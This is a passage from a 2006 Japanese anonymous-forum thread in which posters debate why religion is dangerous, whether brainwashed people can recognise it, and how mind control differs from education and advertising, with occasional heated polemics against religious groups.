そして、その手の質問は「禁じ手」だってことにお前が気づいてやっているのかどうか、そっちのほうが問題だ。
680 名前：名無しさん＠220周年 ：2006/01/15(日) 23:42:55 ID:pcqvKtqJ: 知識を学ぶのが教育。
思想を学ぶのが宗教。
681 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/16(月) 00:28:18 ID:hHJSIOz9: 宗教の場合、思想を学ぶこと自体よりも
思想の枠にどのように自分をはめるか学ぶことに
重点が置かれてる感じがする。
682 名前：名無しさん＠220周年 ：2006/01/16(月) 00:42:47 ID:WkyQQyov: 韻を踏んで「学ぶ」と書いたけど、
宗教の場合、その思想に染まると言ったほうがピッタリかなw
683 名前：馬鹿コテは須らく死ぬべし ◆n6/acf05QA ：2006/01/16(月) 00:50:12 ID:hHJSIOz9: ただ染まるんじゃなくて自発的に染まろうとするんだよね。
684 名前：名無しさん＠220周年 ：2006/01/16(月) 00:55:47 ID:WkyQQyov: 気付いたらという人もいる・・・
685 名前：( ´,_ゝ｀) ：2006/01/16(月) 05:03:19 ID:qT1dHe3d: >>679
さすが、192さんです。
私の知らないことを、確実に知ってますね(^^♪
まさに、その「禁じ手」なんですよ。

私は、みなさんにふたつの質問がしたくて仕方がないのです。
１つは、「宗教はなぜ、危険なのか？」
あるいは、「危険でない宗教とはなにか？」
これは、私が危険だって、言ってるから私が質問すると、
非難ゴーゴーになると思って、切り出せなかったのですが、
みなさんも感じてるのがよくわかったので、敢えて、切り出します。
もう一つは、
「洗脳されている人間は、自分でそれを意識することはできるか？」
あるいは、「洗脳されてない人間は存在するか？」
どうでしょう、みなさん。
192さんに批判されないように答えることができるでしょうか？
もちろん、洗脳の意味を良く取るか、悪く取るかは任せます。
686 名前：名無しさん＠３周年 ：2006/01/16(月) 05:25:08 ID:RSsJN4r1: 前も言ったと思いますが。
>１つは、「宗教はなぜ、危険なのか？」
死後の世界を考えること。
>あるいは、「危険でない宗教とはなにか？」
死後の世界を考えない宗教。

私の答えに対して、( ´,_ゝ｀) さんはどう考えます？
687 名前：電球：2006/01/16(月) 05:36:13 ID:uimG6fjn: >>655
レスが遅れて申し訳ありません。少しやることがあったもので…。いや、もうひとつ理由があるな。
実は昨日あったレスのうちのひとつが私を愕然とさせるもので・・・もう、無理なのかな、と諦めかけてました。
あっ、( ´,_ゝ｀)さんのレスではないですよ？ある名無しさんのものです。ほとんど絶望に近い心持でしたよ　ＴＴ
しかし、不在中のレスを見ているうち、また参加したい、と感じまして、レスさせて頂きました。　＾＾

＞結局、無所属な旅人さんも電球さんも私も、まったく、同じ事を指摘していて、
違うものを見ているだけだということなんです。
→やはり、そういう結論になりましたか。実は私も全く同じ事を昨日の最後の時点で考えるようになっていました。
　私はあなたが「否定派」であることにこだわり過ぎていたかもしれない　＾＾；　もちろん、意見の相違はまだある
　とは思いますが、それはともかくとして、私たちはみな、宗教性の危険性を指摘している。
688 名前：名無しさん＠220周年 ：2006/01/16(月) 05:37:13 ID:WkyQQyov: > １つは、「宗教はなぜ、危険なのか？」
危険な思想が含まれているからです。

> あるいは、「危険でない宗教とはなにか？」
他の宗教（宗派）を容認し、人類の幸福を望むものです。

> 「洗脳されている人間は、自分でそれを意識することはできるか？」
殆どの人が気付きません。

> あるいは、「洗脳されてない人間は存在するか？」
います。
宗教だけが洗脳ではありません。
689 名前：( ´,_ゝ｀) ：2006/01/16(月) 05:44:09 ID:qT1dHe3d: >>686
ありがとうございます。

でも、当然、それで終わりにならないですよね。
さらに、なぜと質問ができて、無限に行くのかもしれない。
ということは、質問自体が間違いなのか？
どうでしょうか？
690 名前：名無しさん＠３周年 ：2006/01/16(月) 05:53:20 ID:RSsJN4r1: 大分遅レスだが、>>173について
これって、「手段」であって「目的」ではないですよね？
目的はあくまでも、>>173をすることによって、自分がどうありたいか？
自分をどうしてほしいか？ではないんですか？

それを踏まえて、このスレッドの目的ってなんですか？
宗教否定者と話して、どうなってほしいのですか？
意見をお聞かせください。
691 名前：名無しさん＠220周年 ：2006/01/16(月) 05:57:26 ID:WkyQQyov: 否定しても擁護しても宗教は良くなりません。
批判、非難をすることが宗教を良くする道と言えるでしょう。
692 名前：( ´,_ゝ｀) ：2006/01/16(月) 05:57:39 ID:qT1dHe3d: 電球さん、ありがとうございます。
愕然としたレスがなんなのかよくわかりませんけど、
とりあえず、また参加してくれて、ありがとうございます。

昨日、振り返ってみて、みなさん実に個性的で、はっきりしていて、
電球さんと同じように、なにかやれると確信しました。
1さんは、シンプルに宗教の重要性を主張してくれましたし、
192さんは、日常的に分離できないことも指摘してくれました。
無所属な旅人さんは、冷静に対象を見る必要を指摘してくれました。
そして、電球さんは何かあるかもしれない要素をじっくりと追い込もうと提案してくれました。
私は、一人相撲をしていることを実感しました。
蓮華さんは昨日、子と親の関係だと言ってくれましたよ。
まさにその通りです。
とっても、難しいのですが、否定的要素と肯定的要素を分離してみればいいのです。
役者は揃ってるじゃないですか？
無駄でも、やることに意味があると思うのです。
それには、いままでの我々のやりとりをもっと分析する必要もありますよ。
先を急ぐ必要はないと思うのです。ひとつひとつ確認しましょう。
693 名前：( ´,_ゝ｀) ：2006/01/16(月) 06:00:55 ID:qT1dHe3d: この先のことを考えて、みなさん、コテ入れましょう。
そのほうが、答えやすいです。
コテ入れない場合は、基本無視でいっちゃいますし、
重要な指摘も多い。
694 名前：電球：2006/01/16(月) 06:05:18 ID:uimG6fjn: >>687
…っと、「ある名無しさん」とは1さんや192さんでもないですからね。　＾＾
あるレスが、あまりにも宗教を理解していなくて、まさかこんなにすさまじい考えばかりなのか？と愕然とした、という意味です。
決して皆さんと協調できない、と言ったわけではないです。　＾＾；
695 名前：電球：2006/01/16(月) 06:08:20 ID:uimG6fjn: >>693
すみません、あまりにも突拍子もない質問だということは分かっているんですが・・・・・・。
……コテって何ですか？＾＾；　実はここにレスするようになって日が浅いもので・・・。
696 名前：( ´,_ゝ｀) ：2006/01/16(月) 06:12:48 ID:qT1dHe3d: >>694
いえいえ、私は、そのことについてなんにも関心はありません。
どちらかというと、電球さんのその感性を信用していますから。
そして、なんだかんだいって、みなさん、それぞれの立場をわかって、議論されていますからね。
でも、ここのいいところは、常に違う視点があるところなのです。
ある意味、それって、とっても宗教的じゃないでしょう(^^♪
きっと、なにかわかりますよ。到達できなくても、なにか納得できるものがあると思います。
とにかく、重要なのは、急ぎすぎないことだけだと思います。
ゆっくりと、検討しましょう。
697 名前：( ´,_ゝ｀) ：2006/01/16(月) 06:16:31 ID:qT1dHe3d: >>695
私も、日が浅くて(^_^;)１週間前にここの異端児ののぞみさんに教えてもらったのですが、
名前のことです。つまり、電球ですよ。
最初は、いらないと思ったのですが、入れてみると、便利なんですよね。
一番は、自分の書いたものを確認しやすいことですね。
698 名前：電球：2006/01/16(月) 06:19:59 ID:uimG6fjn: >>685
まず、「洗脳」と「マインド・コントロール」の違いがあります。簡単に言えば
「洗脳」は暴力をもって強制的に考えを変えるもの。これは暴力が無くなればすぐ元に戻ります。実際にはこちらは用いられない
ことは分かっていただけると思います。
「マインド・コントロール」は対象者に愛を与えて、本人に自律的に従わせるものです。つまり「マインド・コントロール」は
自分が操られていることに気付かない。本人はあくまで自分で従っていると思い込むわけです。だから解けづらい、とされる。
言葉遊びだとは思わないで下さいね。＾＾；　これが私の説明の元になるものですから。

つまり全ての宗教は多かれ少なかれ「マインド・コントロール」するわけです。だってその気にさせて入信してもらうわけだから。
そして「マインド・コントロール」は本人は気付きません。これが「洗脳されている人間は、自分でそれを意識することはできるか？」
への答えです。
次にこの「マインド・コントロール」に関する疑問です。これが、「洗脳されてない人間は存在するか？」
への答えになると思います。
699 名前：名無しさん＠220周年 ：2006/01/16(月) 06:27:08 ID:WkyQQyov: 洗脳
http://ja.wikipedia.org/wiki/%E6%B4%97%E8%84%B3
700 名前：名無しさん＠３周年 ：2006/01/16(月) 06:33:40 ID:/BJpTBZC: クラシックピアニスト市川哲也氏がついに殺人巨大カルト創価学会に宣戦布告したぞ！！！

市川氏ウェブサイト
http://www.geocities.jp/violet_aimusic/
（対創価戦日記が書いてある）

創価・公明板

市川哲也(ピアニスト)【対創価戦争！！】
http://society3.2ch.net/test/read.cgi/koumei/1137069720/l50

クラシック板

市川哲也(ピアニスト)【対創価戦争！！】
http://music4.2ch.net/test/read.cgi/classical/1137063053/l50
701 名前：電球：2006/01/16(月) 06:35:19 ID:uimG6fjn: >>697
あ、そうなんだｗ　確かにその方が分かりいいですね。

>>698
と、言い忘れました。洗脳とマインド・コントロールについてはスティーブン・ハッサン「マインド・コントロールの恐怖」
が詳しいです。カルト問題の本、というとこれをまず挙げる方が多いですね。

「マインド・コントロール」とは本人の気付かないうちに、その気にさせる、と言いました。
お分かりの方も多いと思いますが、これってどういうことなんでしょう？
つまり、「教育」や「広告」と何が違うのか？ということです。
例えばコマーシャルを見て、ある商品が欲しくなったとします。
これだって「マインド・コントロール」になっちゃうよ、と批判する研究者が現れたんです。
もちろん、親の子に対する教育も「マインド・コントロール」ですし、果ては友人との会話すら
「マインド・コントロール」になるわけです。
これが「洗脳されてない人間は存在するか？」に対する答えです。
そういう人はいないです。というか、それを言い出すと全ての人がなんらかしらに洗脳されてることになる。
ここらへんは>>688さんもおっしゃっている通りですね。
そもそも「マインド・コントロール」という言葉自体、これでは使用に耐えない、という意見が多いです。
702 名前：名無しさん＠220周年 ：2006/01/16(月) 06:43:01 ID:WkyQQyov: 偏った思想や知識を気付かないうちに刷り込まれるのが広い意味での洗脳。
703 名前：電球：2006/01/16(月) 06:47:24 ID:uimG6fjn: >>701
それで・・・「危険でない宗教とはなにか？」です。

>>688＞他の宗教（宗派）を容認し、人類の幸福を望むものです。
→全く同じ考えです。どの宗教でも自分の考えが一番と考えるのは変わりませんから（これは私たちがこうして議論するのと同じですね）、
　自分の考えを大事にしつつも、人を認めてあげられること、が大事な点ですね。難しいと言えば難しいことですけども。
　もちろん、統一教会みたいに教祖一人の幸福を願っていたり、オウムみたくテロを起こすようでは、いけませんし。もちろん、オウムを
　全部否定するつもりはないですよ。信じる分には何を信じてもいい、というのはこの国の鉄則ですし。迷惑かけなきゃね。
704 名前：電球：2006/01/16(月) 06:49:10 ID:uimG6fjn: >>702
あ、もちろんです。ただ、広い意味での「洗脳」を分けると、という意味です。
705 名前：電球：2006/01/16(月) 06:56:36 ID:uimG6fjn: >>704
ええっと、かえって訳分からなくなる言い方でした。　＾＾；
括弧なしの　洗脳　を広い意味のものとしましょう。
で、括弧ありの　「洗脳」　を狭い意味、つまり「マインド・コントロール」と分けた際の洗脳ということにしましょう。
それで広い意味での洗脳の中で、暴力を伴うものはあんまりない、という事を言いたかったんです。
706 名前：名無しさん＠220周年 ：2006/01/16(月) 07:01:47 ID:WkyQQyov: 愛国教育（愛国心教育）も度が過ぎると洗脳と言えます。
707 名前：( ´,_ゝ｀) ：2006/01/16(月) 07:04:10 ID:qT1dHe3d: >>701
>例えばコマーシャルを見て、ある商品が欲しくなったとします。
>これだって「マインド・コントロール」になっちゃうよ、と批判する研究者が現れたんです。

いえ、以前から、広告代理店はやる気でやってますし、
企業側の人間は、イメージとか消費者の潜在意識を非常に重要視します。
よく言われるのは、コマーシャルを覚えてないのに、なぜ流すかということですよね。
これは、一般に、認知的不協和の解消で、自分を納得させるためだといわれてます。
まあ、あまり対象を拡大するのはよくありませんが、
いつかはだれかが指摘するでしょうから、先に挙げときます。
708 名前：( ´,_ゝ｀) ：2006/01/16(月) 07:11:08 ID:qT1dHe3d: >>705
「」ありとなしは、問題の対象を整理するうえで、かなり有効ですね。
最初からこだわるのは、対象を見失う原因になりますけど、しっかりと把握する上では、
非常に、わかりやすいですね。それも一つのレトリックとしましょう。

>>699-700
リンク貼ってくれてありがとう(^^♪
709 名前：電球：2006/01/16(月) 07:12:20 ID:uimG6fjn: >>703　　　長々と書いて済みません・・・。
>>688「宗教はなぜ、危険なのか？」＞危険な思想が含まれているからです。
→これも688さんと同意見です。危険になる可能性がある思想を含む場合があるからです。例えば、イスラム教ではジハードの
　教えがありますが、それだって戦争肯定思想になる危険性を孕んでいます（本来は違うんですけども）。
　なので、どんな宗教であれ、悪い意味で解釈すると危険になります。キリスト教だってそうやって戦争やってきたんですし。
　でもキリスト教の中には戦争否定、少なくともそう解釈できる箇所はあるわけで、それを信じてる分には問題ない。
　だから、現代的に適当にアレンジして信じなきゃ、危ないと思います。
　……し、私なんかが意見するまでも無く、実際にそうしてますね。それが分かってないのが原理主義者の中の過激派、かな。

私の考えはこんなところです。
710 名前：電球：2006/01/16(月) 07:25:10 ID:uimG6fjn: >>707
先に挙げたハッサンなんですが（>>701）、この人自身、「マインド・コントロール」が教育と区別つかないことを
認めてますね…。ただ、カルトの行う「マインド・コントロール」は人の人生を狂わせる、と言っています。
しかしこうなると、都合の悪いものは全部「マインド・コントロール」というと言ってるのに等しい…。
例えば、怪しいセールスマンの口車に乗せられて大金注ぎ込んでしまった変な商品買ってしまった。
それで「私はマインド・コントロールされてたんだ」と言える。
でも多分その人は商品が気に入っていたら、「マインド・コントロール」されたとは言わなかった。
宗教でも同じことが言えてしまうわけです。

……すみません、ここまでで、落ちなければならなくなってしまいました…。
こんな時間につき合わせてしまって…ほんと、ありがたく思ってます　＾＾
711 名前：( ´,_ゝ｀) ：2006/01/16(月) 07:32:01 ID:qT1dHe3d: つまり、宗教ではなくて、思想が危険なのですね。
それは、つまり指導者の「思想」が危険ということになりますね。
「危険思想」は多分、列挙できるかもしれませんが(？)、
「危険思想」の前兆は列挙できるでしょうか？
また、洗脳されている信奉者はそれを自覚できないということは、
その危険を自分で回避できることはできないことになりますよね。

これは、人生を生きる上で、絶望的なテーマです(^^♪

明らかに、問題のアプローチが間違いです。
あるいは、把握の仕方が間違いですよね。

ところで、電球さん、再度、今までのレスのやりとりを再確認しましょうよ。
対話の流れと、問題の整理と、解決したかもしれない事項を。
私は、もうすぐ落ちますので、とりあえず、ゆっくりと機会をうかがって、
再検討しましょう。焦らず、じっくりでいきましょうよ。
嫌になるに決ってますから(^^♪
712 名前：電球：2006/01/16(月) 07:42:02 ID:uimG6fjn: >>706
＞愛国教育（愛国心教育）も度が過ぎると洗脳と言えます。
→そうそう、そうなんです。でも「度」をどこに設定するか、が明確にできないんですよね・・・。
　つまり、どこまでが「マインド・コントロール」で、どこまでが教育なのか？
　これを明確にするのが・・・・・・難しいです。もちろん、普段の話に使う分にはあんまり気にならないわけですけど、
　ちゃんと定義しようとすると、できなくなってしまう。

>>711
すみません、連投してしまって。焦ってるつもりはなかったんですけど、ちょっと時間のことがあったものだから・・・。
思想そのもの、というより、思想が悪用される危険性を孕んでいる、というところかな。
それで、洗脳は言い始めると、全てが洗脳になってしまうから、その点を考えるならまず、洗脳と教育の違いを明確にする
必要がある、というのが私の言っているところなんです。

今までの流れは一度確認しましょう。　＾＾　とりあえず、これで落ちます～…　
713 名前：名無しさん＠220周年 ：2006/01/16(月) 08:16:16 ID:WkyQQyov: 基本的にキリスト教教義（聖書）の内容は約２０００年前から何ら変わっていません。
排他思想、選民思想、終末思想
などが無くなっているワケではありません。
危険が過ぎ去ったと思うのは楽観し過ぎでしょう。
一度過去に過ちをしていれば、二度と同じ過ちは繰り返すまいと思うでしょうが、
過去の体験（歴史）を記憶して生まれてくる人などいません。
これからも人類は同じ過ちを繰り返すことでしょう・・・
714 名前：192 ：2006/01/16(月) 08:21:30 ID:uITltfQc: なぜ、日本人は宗教に嫌悪感を示すのか。
われわれが常識だと思っていることは既に宗教的価値観にどっぷり浸っているのかもしれんよ。
715 名前：名無しさん＠220周年 ：2006/01/16(月) 08:24:49 ID:WkyQQyov: >>712
戦争、テロ、犯罪などを触発させるようなものや、
人権や社会性などを束縛するものも洗脳と言えるでしょう。
716 名前：無所属な旅人 ：2006/01/16(月) 08:25:40 ID:P9vGbVy0: ある事象をみるときのﾎﾟｲﾝﾄを絞ってみたらいかがですか？
1.事象の対象と目的
2.目的の理由
3.理由の発露の環境
など
最近は特に3.を見るようにしてますが。
717 名前：192 ：2006/01/16(月) 08:32:51 ID:uITltfQc: 日本人がキリスト教的絶対神に拒否反応を示すのは
仏教的無常観が無意識に浸透しているからかもしれん。
このスレ見てもわかるように、議論の際に自己と他者を相対化して新しい視点を求めようとするやり方が受け入れられやすいのも
宗教的な文化背景によるものかもよ。

今までの価値観でこの問題を論じるのは無意味。なぜなら、その価値観そのものにかかるものだから。
今までの価値観を検証する作業だけが意味があるのだが、多分無理。
718 名前：( ´,_ゝ｀)◇qT1dHe3d ：2006/01/16(月) 12:43:46 ID:qT1dHe3d: >>716
ありがとう＼(^o^)／
とりあえず、夜に、それでまとめてみます。
その後でまた、提案してください。よろしく。

>>717
192さんらしい問題提起ありがとう＼(^o^)／
なにが問題になるのか再検討して、無所属な旅人さんの提案に沿えば、
なんとか解決の糸口がつかめると思うよ。
最後まで、その視点忘れないでね。期待してますから。
719 名前：名無しさん＠３周年 ：2006/01/16(月) 17:00:43 ID:VY6XYRaz: ＞電球さんへ

あなたの意見は、どれも、ありきたりの「宗教学の教科書」的意見ですね。
２ｃｈに溢れる宗教批判スレは、「信教の自由」や「宗教は善」などの実質上
根拠の無い前提に金縛りになっている「宗教学者」などをはるかに越えたもの
なのですよ。他人の意見の借り物えはなく、現実に立脚して物事を判断する
のが２ｃｈです。
あなたは他の人々が「宗教を理解していない」などと自分勝手なことを言わ
れるが、冗談じゃない。批判者は、宗教肯定者とは異なり、宗教学やカルト
については勿論のこと、すべての主要な宗教についても、幅広く学んだ上で
批判しているのです。特定宗教に嵌った人は、宗教学や自分の宗教以外の
宗教に関心を持ち、深く学ぶことは不可能になるのです。
あなたは、史上そして現在も絶え間なく続く宗教紛争・宗教被害の実態を
つぶさに調査しましたか。成員を宗教に奪われ、家庭が破壊された無数の
家族の苦しみと悲しみに共感できますか。聖書の記載の多数の誤りや矛盾、
人間性の洞察や「愛」の欠如について、批判できますか。
親の躾や小学校の教育を、宗教のマインドコントロールと同一視されてい
るが、前者は「現実」を生きるためのもの。宗教のように、架空の神やあ
の世について教えるものではありません。本質的に相違していますよ。
生来は善良で純粋な人間であるオウムの人々が、「宗教に嵌ったばかりに」
１００％の善意で人を殺し、自らも死刑台に上らなければなりません。
その家族の悲しみが想像できますか。彼らもその家族も、宗教の痛ましい犠牲
者なのです。「信教の自由」の最大の犠牲者は、実は信者自身であることを忘
れてはなりません。宗教が、その本質として、現実や社会常識からの離脱と家
庭の破壊を生じさせるものである以上、当然のことです。
処刑さるべきは、「信教の自由」の観念を盲目的に前提にし、このような宗
教を放置した司法行政。特に、その理論的支柱でありながら、宗教の「病理」
を解明・指摘・批判することを怠った宗教学者たちではないでしょうか。
720 名前：名無しさん＠３周年 ：2006/01/16(月) 17:06:46 ID:L8Cl6x2g: >>719
ここで議論するならコテかトリップかその両方をつけたほうがいいよ。
( ´,_ゝ｀)さんも>>693で「そのほうが、答えやすいです。」って言ってるし。
似たような意見の名無しさんが書き込むと誰が誰だかわからなくなる。
IDも深夜になると回線切らなくても変わっちゃうし。
721 名前：ののべ ：2006/01/16(月) 17:11:19 ID:L8Cl6x2g: そういう自分がコテ入れなくてどうするｗ
と自分にツッコミを入れておく。

ところで>>719さんはコーランは読んだことある？
前にこれを読んだ時「かなり改善されてるなあ」と思ったモンだよ。
722 名前：食道楽 ：2006/01/16(月) 18:42:00 ID:5F0483il: このスレタイでは信仰している人は来ないような気がする。
知らないものを定義して、どんな結論がでるのか見守ります。
723 名前：名無しさん＠３周年 ：2006/01/16(月) 18:46:57 ID:ToQGp093: ,､i｀ヽ　　　　　　　　　　　　　　　　　　　 ,r‐'ァ　
　｀ヽ：：　　　　　　　　　　　　　　　　　　　：：´
　　ヽヽ　　　　　　 , -‐--､　　　　　　 /　/
　　　ヽ　＼　　　　 I:：：：：：:I_ 　　　　_ /　/　┌────────────
　　　　ヽ　ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , ' 　宗教！！！！！！！
　　　　　ヽ　` ｰ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r' 　　　└────────────
　　　　　　 ` ､_ ／：:: `山'::::：　　　／
　　　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　〉::::::::|::::::::::¨/
ﾌｩｩ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ　))
　　　　　／　ヽI,r''"""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ
724 名前：( ´,_ゝ｀) ：2006/01/16(月) 19:07:08 ID:qT1dHe3d: コテの◇を黒くするのって、結構メンドイのネ。
ちょっと見て、挫折しちゃった(^_^;)

>>719さん、貴重な批判で、いいですね(^^♪
>批判者は、宗教肯定者とは異なり、(省略>すべての主要な宗教についても、幅広く学んだ上で
>批判しているのです。
>親の躾や小学校の教育(とは)、本質的に相違していますよ。
>最大の犠牲者は、実は信者自身であることを忘れてはなりません。
>処刑さるべきは、(省略)司法行政。特に、その理論的支柱でありながら、宗教の「病理」
>を解明・指摘・批判することを怠った宗教学者たちではないでしょうか。

この批判は電球さんにあててますけど、内容は私宛ですね。
多分、電球さん等が私を批判してるのを勘違いされていると思います。
ただ、結局、司法と宗教学者にその原因を向けているのは、最後は尻つぼみで、残念でした(^_^;)。
もっと>>719さんの意見を聞きたかった。
確かに、実際にある宗教の議論については、今まで、私がその意味を軽視していることもあって、
かなりというかほとんど(^_^;)してませんよね。貴重な意見だと思います。
イスラム教やヒンズー教なんかも、本当は見てみないといけないとは思いますし、本質論もやるべきなんです。
とか言いながら、私は、まだ、あまり意味があるように思ってないんですけどね(^_^;)
貴重な意見ありがとうございます(^^♪。>>720さんの通りですけどね。
「馬鹿コテさん」も、結構、議論の収束間際にいいこと言ってくれるんですけど、
いつも、私はスルーしてますよね。すいません。
とにかく、どんどん意見を出しましょう(^^♪。いろんなレベルと視点を見ましょうよ。
725 名前：( ´,_ゝ｀) ：2006/01/16(月) 19:23:20 ID:qT1dHe3d: 1.問題提起
　　①宗教はなぜ危険なのか(「宗教」と「危険」の具体性は保留)
2.問題にされる対象の範囲
　　①「宗教団体」「宗教的な組織」
②「組織の宗教性」「日常の宗教性」
3.問題提起の根拠・理由
　　①個人や組織の洗脳によるトラブル　　　　
　　②教義信条の口喧嘩や罵倒・殺人・宗教起因の戦争
　　③財産の寄付などによる信者やその家族生活の維持不能
　　④他の人間に迷惑を掛ける　
3.問題発露の背景と環境
　　①宗教あるいは宗教の起因による一触即発の家族関係・対人関係・対国関係
　　②もしかしたら問題が生じるかもしれない宗教団体や企業組織
　　③今のところ何の問題もない教団や家族や企業組織
④洗脳されてないと思ってる僕達私達の日常
4.問題の要因
　　①自分達は常に正しいから(個人の盲目性)
　　②人生や組織維持の優先順位が対立する相手と違うから
　　③洗脳は自分では気づけないから
5.要因の起因
　　①自己や組織の保存本能
6.回避策についての検討
　　①とりあえず宗教団体に入信しない
　　②とりあえず近寄らない
　　③とりあえず逃げる
7.解決のためのアプローチおよび手法
　　①論理的能力(？)
8.参考資料・議論テキスト
　　①宗教の定義　http://ja.wikipedia.org/wiki/%E5%AE%97%E6%95%99　
726 名前：名無しさん＠３周年 ：2006/01/16(月) 19:28:18 ID:0kDsLsW6: スレの流れを全然読まずに投下

裁判所による「宗教」の定義

宗教とは「超自然的、超人間的本質（すなわち絶対者、造物主、至高の存在等、なかんずく神、仏、霊等）の存在を確信し、畏敬崇拝する心情と行為」をいい、
個人的宗教たると、集団的宗教たると、はたまた発生的に自然的宗教たると、創唱的宗教たるとを問わず、すべてこれを包含するものと解するを相当とする。

（名古屋高裁昭和４６年５月１４日判決）
727 名前：( ´,_ゝ｀) ：2006/01/16(月) 19:31:02 ID:qT1dHe3d: 無所属な旅人さんの意見に従って、今までの議論を簡単にまとめてみました(^^♪
かなり、強引になりましたし、把握されていない点もあって、違う角度も必要ですよね。
とりあえず、これを足がかりに、どんどん、変更していこうと思います。
無所属な旅人さんありがとうございます。
728 名前：( ´,_ゝ｀) ：2006/01/16(月) 20:20:49 ID:qT1dHe3d: >>725
の欠点は、
①宗教を否定する視点から入っているので、かなりキモイ(^_^;)
②宗教の人生修養や生き方に対する問いの部分が欠如している。
③宗教なのか危険思想なのか不明。
④具体的な対象と問題提起する対象が本当に一致しているのか不明。
⑤心理学的側面および哲学的なアプローチが不足。面白くない(^_^;)
⑥背景の分析が全然足りない。
⑦箇条書きがつまんない。
⑧そもそも、危険思想がなぜ生まれるのか突込みが不足であったま悪い。

自分で書いて、突っ込んでしまいましたが、こんなところでしょうか？
他に、ご批判ご鞭撻ご要望、おれがまとめてやるという勇ましい方(^_^;)
どんどん、お教えレス下さい。
お願いいたします<m(__)m>
729 名前：名無しさん＠３周年 ：2006/01/16(月) 20:51:17 ID:ZK+L9LZM: そうごちゃごちゃと並べなくても、
個々の宗教的主張について反証可能性が確保されているかどうかを
検討するだけで十分なんじゃないかな？
730 名前：( ´,_ゝ｀) ：2006/01/16(月) 20:57:19 ID:qT1dHe3d: >>729
例えば、どういうことですか？
731 名前：名無しさん＠３周年 ：2006/01/16(月) 21:05:23 ID:ZK+L9LZM: ごく簡略に言って、その主張が、
批判・反証に対して開かれているか？
批判から免疫された権威と化していないか？
批判・反証が妥当かどうか客観的な判断が可能になるような形で、その主張が提示されているか？
でしょうね。
732 名前：( ´,_ゝ｀) ：2006/01/16(月) 21:24:20 ID:qT1dHe3d: >>731
>批判・反証に対して開かれているか？
開かれていないというのは、自由な発言を締め出しているということ？
例えば、なんでしょう？
その批判そのものが、私には興味深いです(^^♪

>免疫された権威
というのは、批判をあらかじめ封じているということですね。
それは、面白い視点と意見だと思いますよ(^^♪
もっと、展開してほしいし、聞きたいですね。

>批判・反証が妥当かどうか客観的な判断が可能になるような形で、その主張が提示されているか？
煮詰め方が不足だということですね。
逆にここで客観的な判断にするほうが難しいです。
そのレベルになるまで待って批判する人は皆無だと思いますし、そのレベルになったら、
ほとんど批判する価値もないと思います。
733 名前：名無しさん＠３周年 ：2006/01/16(月) 21:36:22 ID:ZK+L9LZM: >>732　
失礼ですが、どれも的外れです。

731の文は注釈を必要とするようなものではないと思いますが、韜晦しているのでしょうか？
734 名前：宗教オカルト全否定 ：2006/01/16(月) 21:37:13 ID:wTUWwPRT: 宗教は必要ですねやっぱり

ここのレスを読んでて考えを改めました

自分の思い通りにならない現実世界
「果たして現実とは現実なんだろうか？」　そう考えるだけでも
誰からも相手にされない自己の境遇に　何等かの慰めになるだろうし
現実逃避して楽になりたい　今虐げられてる自分は仮の姿でしか無い
宗教の定義がどうちゃらこうちゃら　観念の世界に逃げ込めば
浮世の憂さも少しは晴れるさ

うん　やっぱり宗教は必要だ
だけど　あんまり悪さしないでね
735 名前：無所属な旅人 ：2006/01/16(月) 21:37:45 ID:J3MOeyr1: うわ・・全部一気にやろうとすると混乱するよ・・・。
十分小さなな問題を一個ずつのほうが見やすいよ・・・^-^;
736 名前：192 ：2006/01/16(月) 21:39:50 ID:RqFjzQMI: >>722
知らない人間の宗教観が現れるだろう。
それはそれで、面白い。
737 名前：( ´,_ゝ｀) ：2006/01/16(月) 21:47:31 ID:qT1dHe3d: >>733
いえいえ、私には面白いと思っただけです。
ただ、あなたの意図が違うというのならば、
逆に、何が違うのか是非コメントしてほしいですね。
私が何を韜晦しようとしているのか、私には疑問ですし、
私が気づいていないだけ、そう感じる部分が私には面白いですよ。

>>734
宗教オカルト全否定さんも、時折コメントください。
738 名前：( ´,_ゝ｀) ：2006/01/16(月) 21:54:54 ID:qT1dHe3d: >>735
あっ、もしかして、>>733も同じ事言ってるの？
そりゃ、韜晦かもしれん(^_^;)失礼しました<m(__)m>

一度にやろうと思ってませんよ(^_^;)
できるわけないですし。
どちらかというと、先にパースペクティブとったほうが、やりやすいと思っただけです。
こうしたほうが、逆に宗教の定義や本質論する場合でも、やりやすいでしょう。
私も、あんまり観念論やって、わけわかんなくしたくないですし。
他の方も自由な視点で議論しやすいんじゃないかと思ったんです。
こだわる必要は感じてないですよ。
地図みたいなもんだと思ってください。
739 名前：名無しさん＠３周年 ：2006/01/16(月) 22:00:14 ID:ik8xjkuJ: >>722
一旦特定の宗教に嵌った人は、自分の宗教を、客観的に、即ち社会全体の見地
から知ることは、絶対に不可能になります。それが、宗教の「病理」の一つです。
740 名前：名無しさん＠３周年 ：2006/01/16(月) 22:01:17 ID:ZK+L9LZM: 議論というのは共通の知識の上に立って行われないと成立しませんよ。
そうでないと勝手な繰言の言い合いになります。「愚者は論に負けず」という言葉もあるようですしね。
「共通の知識」というのはどう設定するのですか？
741 名前：192 ：2006/01/16(月) 22:05:33 ID:RqFjzQMI: >>740
>「共通の知識」というのはどう設定するのですか？
そのように問うているということは、「共通の知識」の設定が可能だと考えてるのか？
742 名前：名無しさん＠３周年 ：2006/01/16(月) 22:08:54 ID:ZK+L9LZM: >>192
可能であると考えています。
例えば、物理学は「共通の知識」ではないでしょうか？
743 名前：無所属な旅人 ：2006/01/16(月) 22:10:06 ID:J3MOeyr1: >>738
ん・・書いてあるような解析を
私、全てのレスの前にするんですよ。（頭の中でですが）

相手の基準と自分の基準とその他一般の基準（出来る限り）
浮んだだけを用いて、表現の中で、何処に主体を置くかという
事をやるのです。

よって、大半が自分軸でない回答を返します。

>>740
其れを要求するのなら共通性をどうやって確認するかの
方法論まで必要になりそうな・・
744 名前：192 ：2006/01/16(月) 22:10:22 ID:RqFjzQMI: >>742
宗教の共通の知識とは？
745 名前：192 ：2006/01/16(月) 22:13:09 ID:RqFjzQMI: >>742
たとえば、哲学は共通の知識足りうるのか？
746 名前：名無しさん＠３周年 ：2006/01/16(月) 22:13:19 ID:ZK+L9LZM: >>744
質問の意味がわかりません。
